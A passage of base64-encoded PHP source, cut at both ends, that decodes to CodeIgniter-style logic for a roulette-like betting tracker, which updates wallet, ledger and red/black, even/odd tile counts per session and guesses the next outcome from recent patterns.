kJCQlpZigkZ2V0U2V0dmFsdWVbJ2ZjdHYnXSA9PSAneWVzJyl7DQoJCQkJCSRmaW5hbGh0d2FsbGV0VmFsdWUgPSAkdHJhbnNmZXJodFdhbGxldFZhbHVlOw0KCQkJCQl9ZWxzZXsNCgkJCQkJJGZpbmFsaHR3YWxsZXRWYWx1ZSA9IDA7CQ0KCQkJCQl9DQoJCQkJCQ0KDQoNCgkJCQkJJHVwZGF0ZXdhbGxldCA9IGFycmF5KCk7DQoJCQkJCSR1cGRhdGV3YWxsZXRbJ2ZpcnN0dGlsZXMnXSA9ICR0cmFuc2Zlcmh0V2FsbGV0VmFsdWU7DQoJCQkJCSR0b3RhbG91dGdvaW5nID0gJHRvdGFsb3V0Z29pbmcrJHRoaXMtPnNlc3Npb24tPnVzZXJkYXRhKCdmaXJzdHRpbGVzJyk7CQ0KCQkJCQkkdXBkYXRld2FsbGV0WydodHdhbGxldCddID0gJGdlbmh0d2FsbGV0dmFsLSRmaW5hbGh0d2FsbGV0VmFsdWU7DQoJCQkJCSR0aGlzIC0+IGRiIC0+IHdoZXJlKCdzZXNzaW9uX2lkJywgJHNlc3Npb25faWQpOw0KCQkJCQkkdGhpcyAtPiBkYiAtPiB1cGRhdGUoVEJMX1RJTEVTVkFMLCR1cGRhdGV3YWxsZXQpOw0KCQkJCX1lbHNlew0KCQkJCQkkaHR0aWxlc1ZhbHVlID0gJGdldFdhbGxldHZhbHVlWydzZWNvbmR0aWxlcyddOw0KCQkJCQkkZ2VuaHR3YWxsZXR2YWwgPSAoJGh0dGlsZXNWYWx1ZSoyKSskaHR3YWxsZXRWYWx1ZTsNCgkJCQkJJHRyYW5zZmVyaHRXYWxsZXRWYWx1ZSA9IHJvdW5kKCRnZW5odHdhbGxldHZhbC8kZG51bWJlcik7DQoJCQkJCQ0KCQkJCQlpZigkZ2V0U2V0dmFsdWVbJ3dhbGxldGxpbWl0J108JHRyYW5zZmVyaHRXYWxsZXRWYWx1ZSl7DQoJCQkJCQkkdHJhbnNmZXJodFdhbGxldFZhbHVlID0gJGdldFNldHZhbHVlWyd3YWxsZXRsaW1pdCddOw0KCQkJCQl9DQoJCQkJCQ0KCQkJCQlpZigkZ2V0U2V0dmFsdWVbJ2ZjdHYnXSA9PSAneWVzJyl7DQoJCQkJCSRmaW5hbGh0d2FsbGV0VmFsdWUgPSAkdHJhbnNmZXJodFdhbGxldFZhbHVlOw0KCQkJCQl9ZWxzZXsNCgkJCQkJJGZpbmFsaHR3YWxsZXRWYWx1ZSA9IDA7CQ0KCQkJCQl9DQoJCQkJCQ0KDQoNCgkJCQkJJHVwZGF0ZXdhbGxldCA9IGFycmF5KCk7DQoJCQkJCSR1cGRhdGV3YWxsZXRbJ3NlY29uZHRpbGVzJ10gPSAkdHJhbnNmZXJodFdhbGxldFZhbHVlOw0KCQkJCQkkdG90YWxvdXRnb2luZyA9ICR0b3RhbG91dGdvaW5nKyR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgnc2Vjb25kdGlsZXMnKTsJDQoJCQkJCSR1cGRhdGV3YWxsZXRbJ2h0d2FsbGV0J10gPSAkZ2VuaHR3YWxsZXR2YWwtJGZpbmFsaHR3YWxsZXRWYWx1ZTsNCgkJCQkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCAkc2Vzc2lvbl9pZCk7DQoJCQkJCSR0aGlzIC0+IGRiIC0+IHVwZGF0ZShUQkxfVElMRVNWQUwsJHVwZGF0ZXdhbGxldCk7DQoJCQkJfQkJCQkNCgkJfQ0KCQkNCgkJDQoJCQkkdXBkYXRld2FsbGV0ID0gYXJyYXkoKTsJCQkNCgkJCSR1cGRhdGV3YWxsZXRbJ291dGdvaW5nJ10gPSAkZ2V0V2FsbGV0dmFsdWVbJ291dGdvaW5nJ10rJHRvdGFsb3V0Z29pbmc7DQoJCQkNCgkJCSR1cGRhdGV3YWxsZXRbJ2xlZGdlciddICAgPSAkZ2V0V2FsbGV0dmFsdWVbJ2luY29taW5nJ10tICR1cGRhdGV3YWxsZXRbJ291dGdvaW5nJ107DQoJCQkNCgkJCWlmKCRnZXRTZXR2YWx1ZVsnbGVkZ2VybGltaXQnXSA8ICR1cGRhdGV3YWxsZXRbJ2xlZGdlciddKXsNCgkJCSR1cGRhdGV3YWxsZXRbJ21haW5sZWRnZXInXSA9ICRnZXRXYWxsZXR2YWx1ZVsnbWFpbmxlZGdlciddKyR1cGRhdGV3YWxsZXRbJ2xlZGdlciddOw0KCQkJJHVwZGF0ZXdhbGxldFsnbGVkZ2VyJ10gPSAwOw0KCQkJJHVwZGF0ZXdhbGxldFsnaW5jb21pbmcnXSA9IDA7DQoJCQkkdXBkYXRld2FsbGV0WydvdXRnb2luZyddID0gMDsNCgkJCSR1cGRhdGV3YWxsZXRbJ2Vvd2FsbGV0J10gPSAwOw0KCQkJJHVwZGF0ZXdhbGxldFsncmJ3YWxsZXQnXSA9IDA7DQoJCQkkdXBkYXRld2FsbGV0WydodHdhbGxldCddID0gMDsJDQoJCQkkdXBkYXRld2FsbGV0WydyZWR0aWxlcyddID0gMDsNCgkJCSR1cGRhdGV3YWxsZXRbJ2JsYWNrdGlsZXMnXSA9IDA7DQoJCQkkdXBkYXRld2FsbGV0WydmaXJzdHRpbGVzJ10gPSAwOwkNCgkJCSR1cGRhdGV3YWxsZXRbJ3NlY29uZHRpbGVzJ10gPSAwOw0KCQkJJHVwZGF0ZXdhbGxldFsnZXZlbnRpbGVzJ10gPSAwOw0KCQkJJHVwZGF0ZXdhbGxldFsnb2RkdGlsZXMnXSA9IDA7CQ0KCQkJfQ0KCQkJDQoJCQlpZigkdXBkYXRld2FsbGV0WydsZWRnZXInXSA8ICRnZXRTZXR2YWx1ZVsnbWludXNsZWRnbGltaXQnXSl7DQoJCQkkdXBkYXRld2FsbGV0WydtaW51c2xlZGdlciddID0gJGdldFdhbGxldHZhbHVlWydtaW51c2xlZGdlciddKyR1cGRhdGV3YWxsZXRbJ2xlZGdlciddOw0KCQkJJHVwZGF0ZXdhbGxldFsnbGVkZ2VyJ10gPSAwOw0KCQkJJHVwZGF0ZXdhbGxldFsnaW5jb21pbmcnXSA9IDA7DQoJCQkkdXBkYXRld2FsbGV0WydvdXRnb2luZyddID0gMDsNCgkJCSR1cGRhdGV3YWxsZXRbJ2Vvd2FsbGV0J10gPSAwOw0KCQkJJHVwZGF0ZXdhbGxldFsncmJ3YWxsZXQnXSA9IDA7DQoJCQkkdXBkYXRld2FsbGV0WydodHdhbGxldCddID0gMDsJDQoJCQkkdXBkYXRld2FsbGV0WydyZWR0aWxlcyddID0gMDsNCgkJCSR1cGRhdGV3YWxsZXRbJ2JsYWNrdGlsZXMnXSA9IDA7DQoJCQkkdXBkYXRld2FsbGV0WydmaXJzdHRpbGVzJ10gPSAwOwkNCgkJCSR1cGRhdGV3YWxsZXRbJ3NlY29uZHRpbGVzJ10gPSAwOw0KCQkJJHVwZGF0ZXdhbGxldFsnZXZlbnRpbGVzJ10gPSAwOw0KCQkJJHVwZGF0ZXdhbGxldFsnb2RkdGlsZXMnXSA9IDA7CQ0KCQkJfQ0KCQkJDQoJCQkNCgkJCSR0aGlzIC0+IGRiIC0+IHdoZXJlKCdzZXNzaW9uX2lkJywgJHNlc3Npb25faWQpOw0KCQkJJHRoaXMgLT4gZGIgLT4gdXBkYXRlKFRCTF9USUxFU1ZBTCwkdXBkYXRld2FsbGV0KTsNCgkJCQ0KCQkJDQoJCQlpZihAJHRoaXMtPnNlc3Npb24tPnVzZXJkYXRhKCdlYWNodGltZScpID09ICdhcHBseScpew0KCQkJCSR0aGlzLT5vbmV0aW1lKCk7CQkJCQ0KCQkJfQ0KCQkJDQoJCQkNCgkJCQ0KCQkJJGdldFdhbGxldHZhbHVlID0gJHRoaXMtPmdldFdhbGxldHZhbHVlKCk7CQkJDQoJCQkkcmVzdWx0ID0gYXJyYXkoKTsJCQkJCQkgICANCgkJCQkJICAgDQoJCQkkcmVzdWx0WydyZXR1cm5zdHJpbmcnXSA9ICR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgncmV0dXJuc3RyaW5nJyk7CQ0KCQkJLy8kcmVzdWx0WydyZXR1cm5udW1iZXInXSA9ICRyZXR1cm5udW1iZXI7DQoJCQkkcmVzdWx0WydyZXR1cm5jb2xvcnN0cmluZyddID0gJHRoaXMtPnNlc3Npb24tPnVzZXJkYXRhKCdyZXR1cm5jb2xvcnN0cmluZycpOwkNCgkJCSRyZXN1bHRbJ3JldHVybnBsYWNlc3RyaW5nJ10gPSAkdGhpcy0+c2Vzc2lvbi0+dXNlcmRhdGEoJ3JldHVybnBsYWNlc3RyaW5nJyk7CQ0KCQkJDQoJCQkkcmVzdWx0WydyZWR0aWxlcyddID0gJGdldFdhbGxldHZhbHVlWydyZWR0aWxlcyddOw0KCQkJJHJlc3VsdFsnYmxhY2t0aWxlcyddID0gJGdldFdhbGxldHZhbHVlWydibGFja3RpbGVzJ107DQoJCQkkcmVzdWx0WydmaXJzdHRpbGVzJ10gPSAkZ2V0V2FsbGV0dmFsdWVbJ2ZpcnN0dGlsZXMnXTsNCgkJCSRyZXN1bHRbJ3NlY29uZHRpbGVzJ10gPSAkZ2V0V2FsbGV0dmFsdWVbJ3NlY29uZHRpbGVzJ107DQoJCQkkcmVzdWx0WydldmVudGlsZXMnXSA9ICRnZXRXYWxsZXR2YWx1ZVsnZXZlbnRpbGVzJ107DQoJCQkkcmVzdWx0WydvZGR0aWxlcyddID0gJGdldFdhbGxldHZhbHVlWydvZGR0aWxlcyddOw0KCQkJDQoJCQkkcmVzdWx0Wydlb3dhbGxldCddID0gJGdldFdhbGxldHZhbHVlWydlb3dhbGxldCddOw0KCQkJJHJlc3VsdFsncmJ3YWxsZXQnXSA9ICRnZXRXYWxsZXR2YWx1ZVsncmJ3YWxsZXQnXTsNCgkJCSRyZXN1bHRbJ2h0d2FsbGV0J10gPSAkZ2V0V2FsbGV0dmFsdWVbJ2h0d2FsbGV0J107DQoJCQkkcmVzdWx0WydpbmNvbWluZyddID0gJGdldFdhbGxldHZhbHVlWydpbmNvbWluZyddOw0KCQkJJHJlc3VsdFsnb3V0Z29pbmcnXSA9ICRnZXRXYWxsZXR2YWx1ZVsnb3V0Z29pbmcnXTsNCgkJCSRyZXN1bHRbJ2xlZGdlciddID0gICAkZ2V0V2FsbGV0dmFsdWVbJ2xlZGdlciddOw0KCQkJJHJlc3VsdFsnbWFpbmxlZGdlciddID0gJGdldFdhbGxldHZhbHVlWydtYWlubGVkZ2VyJ107DQoJCQkkcmVzdWx0WydtaW51c2xlZGdlciddID0gJGdldFdhbGxldHZhbHVlWydtaW51c2xlZGdlciddOwkNCgkJCQ0KCQkJDQoJCQlpZigkZ2V0U2V0dmFsdWVbJ3RpbGVzZXF1aXR5J10gPT0gJ3llcycpewkJCQkJDQoJCQkJJHRvdGFsdGlsZXN2YWwgPSAwOw0KCQkJCWlmKCR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgncmV0dXJuc3RyaW5nJykgPT0gJ2V2ZW4nKXsNCgkJCQkJJHRvdGFsdGlsZXN2YWwgPSAkdG90YWx0aWxlc3ZhbCskZ2V0V2FsbGV0dmFsdWVbJ2V2ZW50aWxlcyddOw0KCQkJCX1lbHNlew0KCQkJCQkkdG90YWx0aWxlc3ZhbCA9ICR0b3RhbHRpbGVzdmFsKyRnZXRXYWxsZXR2YWx1ZVsnb2RkdGlsZXMnXTsNCgkJCQl9DQoJCQkgICAgaWYoJHRoaXMtPnNlc3Npb24tPnVzZXJkYXRhKCdyZXR1cm5jb2xvcnN0cmluZycpID09ICdyZWQnKXsNCgkJCSAgICAJJHRvdGFsdGlsZXN2YWwgPSAkdG90YWx0aWxlc3ZhbCskZ2V0V2FsbGV0dmFsdWVbJ3JlZHRpbGVzJ107DQoJCQkJfWVsc2V7DQoJCQkJCSR0b3RhbHRpbGVzdmFsID0gJHRvdGFsdGlsZXN2YWwrJGdldFdhbGxldHZhbHVlWydibGFja3RpbGVzJ107DQoJCQkJfQ0KCQkJCWlmKCR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgncmV0dXJucGxhY2VzdHJpbmcnKSA9PSAnZmlyc3QnKXsNCgkJCQkJJHRvdGFsdGlsZXN2YWwgPSAkdG90YWx0aWxlc3ZhbCskZ2V0V2FsbGV0dmFsdWVbJ2ZpcnN0dGlsZXMnXTsNCgkJCQl9ZWxzZXsNCgkJCQkJJHRvdGFsdGlsZXN2YWwgPSAkdG90YWx0aWxlc3ZhbCskZ2V0V2FsbGV0dmFsdWVbJ3NlY29uZHRpbGVzJ107DQoJCQkJfQ0KCQkJCSR0b3RhbHRpbGVzdmFsID0gcm91bmQoJHRvdGFsdGlsZXN2YWwvMyk7DQoJCQkJDQoJCQkJCSR1cGRhdGV3YWxsZXQgPSBhcnJheSgpOwkJCQkJDQoJCQkJCWlmKCR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgncmV0dXJuc3RyaW5nJykgPT0gJ2V2ZW4nKXsNCgkJCQkJJHVwZGF0ZXdhbGxldFsnZXZlbnRpbGVzJ109JHRvdGFsdGlsZXN2YWw7DQoJCQkJCX1lbHNlew0KCQkJCQkkdXBkYXRld2FsbGV0WydvZGR0aWxlcyddPSR0b3RhbHRpbGVzdmFsOw0KCQkJCQl9DQoJCQkJICAgIGlmKCR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgncmV0dXJuY29sb3JzdHJpbmcnKSA9PSAncmVkJyl7DQoJCQkJICAgICR1cGRhdGV3YWxsZXRbJ3JlZHRpbGVzJ109JHRvdGFsdGlsZXN2YWw7DQoJCQkJCX1lbHNlew0KCQkJCQkkdXBkYXRld2FsbGV0WydibGFja3RpbGVzJ109JHRvdGFsdGlsZXN2YWw7DQoJCQkJCX0NCgkJCQkJaWYoJHRoaXMtPnNlc3Npb24tPnVzZXJkYXRhKCdyZXR1cm5wbGFjZXN0cmluZycpID09ICdmaXJzdCcpew0KCQkJCQkkdXBkYXRld2FsbGV0WydmaXJzdHRpbGVzJ109JHRvdGFsdGlsZXN2YWw7DQoJCQkJCX1lbHNlew0KCQkJCQkkdXBkYXRld2FsbGV0WydzZWNvbmR0aWxlcyddPSR0b3RhbHRpbGVzdmFsOw0KCQkJCQl9CQ0KCQkJCQkNCgkJCQkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCAkc2Vzc2lvbl9pZCk7DQoJCQkJCSR0aGlzIC0+IGRiIC0+IHVwZGF0ZShUQkxfVElMRVNWQUwsJHVwZGF0ZXdhbGxldCk7CQkJCQ0KCQkJCQkNCgkJCQkkZ2V0V2FsbGV0dmFsdWUgPSAkdGhpcy0+Z2V0V2FsbGV0dmFsdWUoKTsNCgkJCQkkcmVzdWx0WydyZWR0aWxlcyddID0gJGdldFdhbGxldHZhbHVlWydyZWR0aWxlcyddOw0KCQkJCSRyZXN1bHRbJ2JsYWNrdGlsZXMnXSA9ICRnZXRXYWxsZXR2YWx1ZVsnYmxhY2t0aWxlcyddOw0KCQkJCSRyZXN1bHRbJ2ZpcnN0dGlsZXMnXSA9ICRnZXRXYWxsZXR2YWx1ZVsnZmlyc3R0aWxlcyddOw0KCQkJCSRyZXN1bHRbJ3NlY29uZHRpbGVzJ10gPSAkZ2V0V2FsbGV0dmFsdWVbJ3NlY29uZHRpbGVzJ107DQoJCQkJJHJlc3VsdFsnZXZlbnRpbGVzJ10gPSAkZ2V0V2FsbGV0dmFsdWVbJ2V2ZW50aWxlcyddOw0KCQkJCSRyZXN1bHRbJ29kZHRpbGVzJ10gPSAkZ2V0V2FsbGV0dmFsdWVbJ29kZHRpbGVzJ107DQoJCQl9DQoJCQkkdGhpcy0+c2Vzc2lvbi0+c2V0X3VzZXJkYXRhKCRyZXN1bHQpOwkNCgkJCXJldHVybiBqc29uX2VuY29kZSgkcmVzdWx0KTsNCgl9DQoJDQoJcHVibGljIGZ1bmN0aW9uIHNhdmVtZW50aW9ubnVtKCl7DQoJCSRzZXNzaW9uX2lkID0gJHRoaXMtPnNlc3Npb24tPnNlc3Npb25faWQ7DQoJCSRkYXRhWydzZXNzaW9uX2lkJ10gPSAkc2Vzc2lvbl9pZDsNCgkJJGRhdGFbJ21udW1iZXInXSAgICA9ICR0aGlzLT5pbnB1dC0+cG9zdCgnbW51bWJlcicpOw0KCQkkdGhpcyAtPiBkYiAtPiBpbnNlcnQoVEJMX01FTlRJT05OVU1SRUMsICRkYXRhKTsNCgkJJGluc2VydGVkX2lkID0gJHRoaXMgLT4gZGIgLT4gaW5zZXJ0X2lkKCk7DQoJCWlmKCRpbnNlcnRlZF9pZCAhPSAnJyl7DQoJCQkkZ2V0U2V0dmFsdWUgPSAkdGhpcy0+Z2V0U2V0dmFsdWUoKTsNCgkJCSRkbnVtYmVyID0gJGdldFNldHZhbHVlWydkbnVtYmVyJ107DQoJCQkkZ2V0V2FsbGV0dmFsdWUgPSAkdGhpcy0+Z2V0V2FsbGV0dmFsdWUoKTsNCgkJCQ0KCQkJJGVvd2FsbGV0ID0gJGdldFdhbGxldHZhbHVlWydlb3dhbGxldCddOw0KCQkJJHVwZGF0ZXdhbGxldFsnZW93YWxsZXQnXSA9ICRlb3dhbGxldCskZ2V0U2V0dmFsdWVbJ2xudW1iZXInXTsNCgkJCQ0KCQkJJHJid2FsbGV0ID0gJGdldFdhbGxldHZhbHVlWydyYndhbGxldCddOw0KCQkJJHVwZGF0ZXdhbGxldFsncmJ3YWxsZXQnXSA9ICRyYndhbGxldCskZ2V0U2V0dmFsdWVbJ2xudW1iZXInXTsNCgkJCQ0KCQkJJGh0d2FsbGV0ID0gJGdldFdhbGxldHZhbHVlWydodHdhbGxldCddOw0KCQkJJHVwZGF0ZXdhbGxldFsnaHR3YWxsZXQnXSA9ICRodHdhbGxldCskZ2V0U2V0dmFsdWVbJ2xudW1iZXInXTsNCgkJCQ0KCQkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCAkc2Vzc2lvbl9pZCk7DQoJCQkkdGhpcyAtPiBkYiAtPiB1cGRhdGUoVEJMX1RJTEVTVkFMLCR1cGRhdGV3YWxsZXQpOw0KCQkJDQoJCQkJCQ0KCQkJJGdldFRvcHRocmVlVmFsID0gJHRoaXMtPmdldFRvcHRocmVlVmFsKCk7DQoJCQkNCgkJCWlmKCRnZXRUb3B0aHJlZVZhbCl7DQoJCQkJZm9yZWFjaCgkZ2V0VG9wdGhyZWVWYWwgYXMgJG1udW12YWwpewkJCQkJDQoJCQkJCSR0aWxlc21udW12YWxbXSA9ICR0aGlzLT5nZXRWYWx1ZWluU2V0KCRtbnVtdmFsWydtbnVtYmVyJ10pOw0KCQkJCQkkcmV0dXJubnVtYmVyW10gPSAkbW51bXZhbFsnbW51bWJlciddOw0KCQkJCX0NCgkJCX0NCgkJCQ0KCQkJCWlmKCR0aGlzLT5pbnB1dC0+cG9zdCgnbW51bWJlcicpJTIgPT0gMCl7DQoJCQkJCQkkcmV0dXJuc3RyaW5nID0gJ2V2ZW4nOw0KCQkJCQl9ZWxzZXsNCgkJCQkJCSRyZXR1cm5zdHJpbmcgPSAnb2RkJzsNCgkJCQkJfQkNCgkJCQ0KCQkJDQoJCQlpZihjb3VudCgkcmV0dXJubnVtYmVyKSA+IDApew0KCQkJCSRyZXR1cm5udW1iZXIgPSBpbXBsb2RlKCcsJywkcmV0dXJubnVtYmVyKTsJCQ0KCQkJfQ0KCQkNCgkJCWlmKCR0aWxlc21udW12YWxbMF1bJ3Byb3AnXVswXSA9PSAnYmxhY2tzZXQnKXsNCgkJCQkkcmV0dXJuY29sb3JzdHJpbmcgPSAnYmxhY2snOw0KCQkJfWVsc2V7DQoJCQkJJHJldHVybmNvbG9yc3RyaW5nID0gJ3JlZCc7DQoJCQl9DQoJCQkNCgkJCWlmKCR0aWxlc21udW12YWxbMF1bJ3Byb3AnXVsxXSA9PSAnZmlyc3RodCcpew0KCQkJCSRyZXR1cm5wbGFjZXN0cmluZyA9ICdmaXJzdCc7DQoJCQl9ZWxzZXsNCgkJCQkkcmV0dXJucGxhY2VzdHJpbmcgPSAnc2Vjb25kJzsNCgkJCX0NCgkJCQ0KCQkJJHN0b3JlY250ID0gYXJyYXkoKTsNCgkJCSRzdG9yZWNvbG9yY250ID0gYXJyYXkoKTsJDQoJCQkkc3RvcmVwbGFjZWNudCA9IGFycmF5KCk7DQoJCQlpZihjb3VudCgkdGlsZXNtbnVtdmFsKT4yKXsNCgkJCQkkc3RvcmVjbnQgPSBhcnJheSgpOw0KCQkJCSRzdG9yZWNvbG9yY250ID0gYXJyYXkoKTsJDQoJCQkJJHN0b3JlcGxhY2VjbnQgPSBhcnJheSgpOwkJCQ0KCQkJCWZvcmVhY2goJHRpbGVzbW51bXZhbCBhcyAkdmFsKXsNCgkJCQkJaWYoJHZhbFsndmFsdWUnXSUyID09IDApew0KCQkJCQkJJHN0b3JlY250W10gPSAnZXZlbic7DQoJCQkJCX1lbHNlew0KCQkJCQkJJHN0b3JlY250W10gPSAnb2RkJzsNCgkJCQkJfQ0KCQkJCQkNCgkJCQkJaWYoJHZhbFsncHJvcCddWzBdID09ICdibGFja3NldCcpew0KCQkJCQkJJHN0b3JlY29sb3JjbnRbXSA9ICdibGFjayc7DQoJCQkJCX1lbHNlew0KCQkJCQkJJHN0b3JlY29sb3JjbnRbXSA9ICdyZWQnOw0KCQkJCQl9DQoJCQkJCQ0KCQkJCQlpZigkdmFsWydwcm9wJ11bMV0gPT0gJ2ZpcnN0aHQnKXsNCgkJCQkJCSRzdG9yZXBsYWNlY250W10gPSAnZmlyc3QnOw0KCQkJCQl9ZWxzZXsNCgkJCQkJCSRzdG9yZXBsYWNlY250W10gPSAnc2Vjb25kJzsNCgkJCQkJfQ0KCQkJCQkNCgkJCQkJDQoJCQkJCQkJCQkNCgkJCQl9DQoJCQl9DQoJCQkNCgkJCSRlb1N0YXR1cyA9ICdwYXNzJzsNCgkJCWlmKCR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgncmV0dXJuc3RyaW5nJykpew0KCQkJCSRwcmV2aW91c1N0cmluZyA9ICR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgncmV0dXJuc3RyaW5nJyk7DQoJCQkJaWYoJHByZXZpb3VzU3RyaW5nICE9ICRyZXR1cm5zdHJpbmcpew0KCQkJCQkkZW9TdGF0dXMgPSAnZmFpbCc7DQoJCQkJfWVsc2V7DQoJCQkJCSRlb1N0YXR1cyA9ICdwYXNzJzsNCgkJCQl9DQoJCQl9DQoJCQkNCgkJCSRyYlN0YXR1cyA9ICdwYXNzJzsNCgkJCWlmKCR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgncmV0dXJuY29sb3JzdHJpbmcnKSl7DQoJCQkJJHByZXZpb3VzY29sb3JTdHJpbmcgPSAkdGhpcy0+c2Vzc2lvbi0+dXNlcmRhdGEoJ3JldHVybmNvbG9yc3RyaW5nJyk7DQoJCQkJaWYoJHByZXZpb3VzY29sb3JTdHJpbmcgIT0gJHJldHVybmNvbG9yc3RyaW5nKXsNCgkJCQkJJHJiU3RhdHVzID0gJ2ZhaWwnOw0KCQkJCX1lbHNlew0KCQkJCQkkcmJTdGF0dXMgPSAncGFzcyc7DQoJCQkJfQ0KCQkJfQ0KCQkJDQoJCQkkaHRTdGF0dXMgPSAncGFzcyc7DQoJCQlpZigkdGhpcy0+c2Vzc2lvbi0+dXNlcmRhdGEoJ3JldHVybnBsYWNlc3RyaW5nJykpew0KCQkJCSRwcmV2aW91c3BsYWNlU3RyaW5nID0gJHRoaXMtPnNlc3Npb24tPnVzZXJkYXRhKCdyZXR1cm5wbGFjZXN0cmluZycpOw0KCQkJCWlmKCRwcmV2aW91c3BsYWNlU3RyaW5nICE9ICRyZXR1cm5wbGFjZXN0cmluZyl7DQoJCQkJCSRodFN0YXR1cyA9ICdmYWlsJzsNCgkJCQl9ZWxzZXsNCgkJCQkJJGh0U3RhdHVzID0gJ3Bhc3MnOw0KCQkJCX0NCgkJCX0NCgkJCQ0KCQkJaWYoY291bnQoJHN0b3JlY250KSA+IDApew0KCQkJCWlmKCRzdG9yZWNudFswXSA9PSAnZXZlbicgJiYgJHN0b3JlY250WzFdID09ICdvZGQnICYmICRzdG9yZWNudFsyXSA9PSAnZXZlbicpew0KCQkJCQkkcmV0dXJuc3RyaW5nID0gJ29kZCc7CQkJCQkNCgkJCQl9DQoJCQkJDQoJCQkJaWYoJHN0b3JlY250WzBdID09ICdvZGQnICYmICRzdG9yZWNudFsxXSA9PSAnZXZlbicgJiYgJHN0b3JlY250WzJdID09ICdvZGQnKXsNCgkJCQkJJHJldHVybnN0cmluZyA9ICdldmVuJzsJCQkJCQ0KCQkJCX0NCgkJCQkJDQoJCQl9CQkJDQoJCQlpZihjb3VudCgkc3RvcmVjb2xvcmNudCkgPiAwKXsNCgkJCQlpZigkc3RvcmVjb2xvcmNudFswXSA9PSAncmVkJyAmJiAkc3RvcmVjb2xvcmNudFsxXSA9PSAnYmxhY2snICYmICRzdG9yZWNvbG9yY250WzJdID09ICdyZWQnKXsNCgkJCQkJJHJldHVybmNvbG9yc3RyaW5nID0gJ2JsYWNrJzsNCgkJCQl9DQoJCQkJDQoJCQkJaWYoJHN0b3JlY29sb3JjbnRbMF0gPT0gJ2JsYWNrJyAmJiAkc3RvcmVjb2xvcmNudFsxXSA9PSAncmVkJyAmJiAkc3RvcmVjb2xvcmNudFsyXSA9PSAnYmxhY2snKXsNCgkJCQkJJHJldHVybmNvbG9yc3RyaW5nID0gJ3JlZCc7DQoJCQkJfQ0KCQkJfQ0KCQkJDQoJCQlpZihjb3VudCgkc3RvcmVwbGFjZWNudCkgPiAwKXsNCgkJCQlpZigkc3RvcmVwbGFjZWNudFswXSA9PSAnZmlyc3QnICYmICRzdG9yZXBsYWNlY250WzFdID09ICdzZWNvbmQnICYmICRzdG9yZXBsYWNlY250WzJdID09ICdmaXJzdCcpew0KCQkJCQkkcmV0dXJucGxhY2VzdHJpbmcgPSAnc2Vjb25kJzsNCgkJCQl9DQoJCQkJDQoJCQkJaWYoJHN0b3JlcGxhY2VjbnRbMF0gPT0gJ3NlY29uZCcgJiYgJHN0b3JlcGxhY2VjbnRbMV0gPT0gJ2ZpcnN0JyAmJiAkc3RvcmVwbGFjZWNudFsyXSA9PSAnc2Vjb25kJyl7DQoJCQkJCSRyZXR1cm5wbGFjZXN0cmluZyA9ICdmaXJzdCc7DQoJCQkJfQ0KCQkJfQ0KCQkJDQoJCQkkZ2V0V2FsbGV0dmFsdWUgPSAkdGhpcy0+Z2V0V2FsbGV0dmFsdWUoKTsJDQoJCQkNCgkJCQ0KCQkJJHRvdGFsaW5jb21pbmcgPSAwOw0KCQkJJHRvdGFsb3V0Z29pbmcgPSAwOw0KCQkJDQoJCQlpZigkZW9TdGF0dXMgPT0gJ2ZhaWwnKXsNCgkJCQkkZW93YWxsZXRWYWx1ZSAgPSAkZ2V0V2FsbGV0dmFsdWVbJ2Vvd2FsbGV0J107DQoJCQkJaWYoJHRoaXMtPnNlc3Npb24tPnVzZXJkYXRhKCdyZXR1cm5zdHJpbmcnKSA9PSAnZXZlbicpew0KCQkJCQkkZW90aWxlc1ZhbHVlID0gJGdldFdhbGxldHZhbHVlWydldmVudGlsZXMnXTsNCgkJCQkJJGdlbmVvd2FsbGV0dmFsID0gKCRlb3RpbGVzVmFsdWUqMikrJGVvd2FsbGV0VmFsdWU7DQoJCQkJCSR0cmFuc2ZlckVvV2FsbGV0VmFsdWUgPSByb3VuZCgkZ2VuZW93YWxsZXR2YWwvJGRudW1iZXIpOw0KCQkJCQkNCgkJCQkJaWYoJGdldFNldHZhbHVlWyd3YWxsZXRsaW1pdCddPCR0cmFuc2ZlckVvV2FsbGV0VmFsdWUpew0KCQkJCQkJJHRyYW5zZmVyRW9XYWxsZXRWYWx1ZSA9ICRnZXRTZXR2YWx1ZVsnd2FsbGV0bGltaXQnXTsNCgkJCQkJfQ0KCQkJCQlpZigkZ2V0U2V0dmFsdWVbJ2ZjdHYnXSA9PSAneWVzJyl7DQoJCQkJCSRmaW5hbGVvd2FsbGV0VmFsdWUgPSAkdHJhbnNmZXJFb1dhbGxldFZhbHVlOw0KCQkJCQkJfWVsc2V7DQoJCQkJCSRmaW5hbGVvd2FsbGV0VmFsdWUgPSAwOwkJDQoJCQkJCQl9DQoJCQkJCQkNCgkJCQkJJHVwZGF0ZXdhbGxldCA9IGFycmF5KCk7DQoJCQkJCSR1cGRhdGV3YWxsZXRbJ2V2ZW50aWxlcyddID0gMDsNCgkJCQkJJHVwZGF0ZXdhbGxldFsnZW93YWxsZXQnXSA9ICRnZW5lb3dhbGxldHZhbC0kZmluYWxlb3dhbGxldFZhbHVlOw0KCQkJCQkkdG90YWxvdXRnb2luZyA9ICR0b3RhbG91dGdvaW5nKyR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgnZXZlbnRpbGVzJyk7DQoJCQkJCSR0aGlzIC0+IGRiIC0+IHdoZXJlKCdzZXNzaW9uX2lkJywgJHNlc3Npb25faWQpOw0KCQkJCQkkdGhpcyAtPiBkYiAtPiB1cGRhdGUoVEJMX1RJTEVTVkFMLCR1cGRhdGV3YWxsZXQpOw0KCQkJCX1lbHNlew0KCQkJCQkkZW90aWxlc1ZhbHVlID0gJGdldFdhbGxldHZhbHVlWydvZGR0aWxlcyddOw0KCQkJCQkkZ2VuZW93YWxsZXR2YWwgPSAoJGVvdGlsZXNWYWx1ZSoyKSskZW93YWxsZXRWYWx1ZTsNCgkJCQkJJHRyYW5zZmVyRW9XYWxsZXRWYWx1ZSA9IHJvd